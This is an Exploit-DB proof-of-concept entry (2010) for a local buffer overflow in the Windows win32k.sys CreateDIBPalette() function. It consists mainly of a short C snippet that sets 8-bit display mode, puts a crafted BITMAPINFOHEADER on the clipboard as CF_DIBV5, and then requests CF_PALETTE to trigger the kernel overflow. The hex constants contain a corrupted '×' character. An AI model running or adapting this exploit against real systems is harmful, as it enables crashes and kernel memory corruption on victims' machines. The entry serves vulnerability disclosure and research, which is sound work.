Microsoft Windows - 'win32k.sys' Driver 'CreateDIBPalette()' Local Buffer Overflow

EDB-ID:

14566


Author:

Arkon

Type:

local


Platform:

Windows

Date:

2010-08-06


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// source: http://www.ragestorm.net/blogs/?p=255
// source: http://secunia.com/advisories/40870/

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);